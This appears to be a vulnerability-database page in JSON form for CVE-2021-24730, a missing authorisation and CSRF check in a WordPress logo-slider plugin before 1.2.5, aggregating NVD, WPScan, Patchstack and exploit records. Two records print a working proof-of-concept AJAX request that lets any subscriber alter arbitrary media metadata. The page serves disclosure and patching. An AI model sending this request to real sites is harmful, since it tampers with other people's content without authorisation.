DATABASE RESOURCES PRICING ABOUT US

{"id": "CVE-2021-24730", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24730", "description": "The Logo Showcase with Slick Slider WordPress plugin before 1.2.5 does not have CSRF and authorisation checks in the lswss_save_attachment_data AJAX action, allowing any authenticated users, such as Subscriber, to change title, description, alt text, and URL of arbitrary uploaded media.", "published": "2022-02-28T09:15:00", "modified": "2022-03-07T18:16:00", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.0}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 4.3, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24730", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/d5534ff9-c4af-46b7-8852-0f3dfd644855"], "cvelist": ["CVE-2021-24730"], "immutableFields": [], "lastseen": "2022-03-23T15:03:09", "viewCount": 39, "enchantments": {"backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:D5534FF9-C4AF-46B7-8852-0F3DFD644855"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:D5534FF9-C4AF-46B7-8852-0F3DFD644855"]}]}, "score": {"value": 3.9, "vector": "NONE"}, "dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:D5534FF9-C4AF-46B7-8852-0F3DFD644855"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:D5534FF9-C4AF-46B7-8852-0F3DFD644855"]}], "rev": 4}, "vulnersScore": 3.9}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-284"], "affectedSoftware": [{"cpeName": "infornweb:logo_showcase_with_slick_slider", "version": "1.2.5", "operator": "lt", "name": "infornweb logo showcase with slick slider"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:infornweb:logo_showcase_with_slick_slider:1.2.5:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.2.5", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/d5534ff9-c4af-46b7-8852-0f3dfd644855", "name": "https://wpscan.com/vulnerability/d5534ff9-c4af-46b7-8852-0f3dfd644855", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}

{"wpvulndb": [{"lastseen": "2022-02-10T00:00:00", "description": "The plugin does not have CSRF and authorisation checks in the lswss_save_attachment_data AJAX action, allowing any authenticated users, such as Subscriber, to change title, description, alt text, and URL of arbitrary uploaded media. \n\n### PoC\n\njQuery.post(ajaxurl,{ action: \"lswss_save_attachment_data\", attachment_id: 564, form_data: \"lswss_attachment_title=Test&amp;lswss;_attachment_desc=Changed%20by%20subscriber&amp;lswss;_attachment_alt=Alt%20text&amp;lswss;_attachment_link=\" }) POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 213 Connection: close Cookie: [any authenticated user] action=lswss_save_attachment_data&amp;attachment;_id=2133&amp;form;_data=lswss_attachment_title%3DTest%26lswss_attachment_desc%3DChanged%2520by%2520subscriber%26lswss_attachment_alt%3DAlt%2520text%26lswss_attachment_link%3D\n", "cvss3": {}, "published": "2021-10-24T00:00:00", "type": "wpvulndb", "title": "Logo Showcase with Slick Slider < 1.2.5 - Subscriber+ Arbitrary Media Title/Description/Alt Text/URL Update", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-24730"], "modified": "2022-01-31T07:48:47", "id": "WPVDB-ID:D5534FF9-C4AF-46B7-8852-0F3DFD644855", "href": "https://wpscan.com/vulnerability/d5534ff9-c4af-46b7-8852-0f3dfd644855", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}], "patchstack": [{"lastseen": "2022-06-01T19:29:06", "description": "Arbitrary Media Title/Description/Alt Text/URL Update vulnerability discovered by apple502j in WordPress Logo Showcase with Slick Slider plugin (versions <= 1.2.4).\n\n## Solution\n\n\r\n Update the WordPress Logo Showcase with Slick Slider plugin to the latest available version (at least 1.2.5).\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 4.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-10-24T00:00:00", "type": "patchstack", "title": "WordPress Logo Showcase with Slick Slider plugin <= 1.2.4 - Arbitrary Media Title/Description/Alt Text/URL Update vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24730"], "modified": "2021-10-24T00:00:00", "id": "PATCHSTACK:B1E509897ECD2760B930162BFBD6E47C", "href": "https://patchstack.com/database/vulnerability/logo-showcase-with-slick-slider/wordpress-logo-showcase-with-slick-slider-plugin-1-2-4-arbitrary-media-title-description-alt-text-url-update-vulnerability", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2022-02-10T00:00:00", "description": "The plugin does not have CSRF and authorisation checks in the lswss_save_attachment_data AJAX action, allowing any authenticated users, such as Subscriber, to change title, description, alt text, and URL of arbitrary uploaded media. \n", "cvss3": {}, "published": "2021-10-24T00:00:00", "type": "wpexploit", "title": "Logo Showcase with Slick Slider < 1.2.5 - Subscriber+ Arbitrary Media Title/Description/Alt Text/URL Update", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-24730"], "modified": "2022-01-31T07:48:47", "id": "WPEX-ID:D5534FF9-C4AF-46B7-8852-0F3DFD644855", "href": "", "sourceData": "jQuery.post(ajaxurl,{\r\naction: \"lswss_save_attachment_data\",\r\nattachment_id: 564,\r\nform_data: \"lswss_attachment_title=Test&lswss_attachment_desc=Changed%20by%20subscriber&lswss_attachment_alt=Alt%20text&lswss_attachment_link=\"\r\n})\r\n\r\nPOST /wp-admin/admin-ajax.php HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: 213\r\nConnection: close\r\nCookie: [any authenticated user]\r\n\r\naction=lswss_save_attachment_data&attachment_id=2133&form_data=lswss_attachment_title%3DTest%26lswss_attachment_desc%3DChanged%2520by%2520subscriber%26lswss_attachment_alt%3DAlt%2520text%26lswss_attachment_link%3D", "cvss": {"score": 0.0, "vector": "NONE"}}]}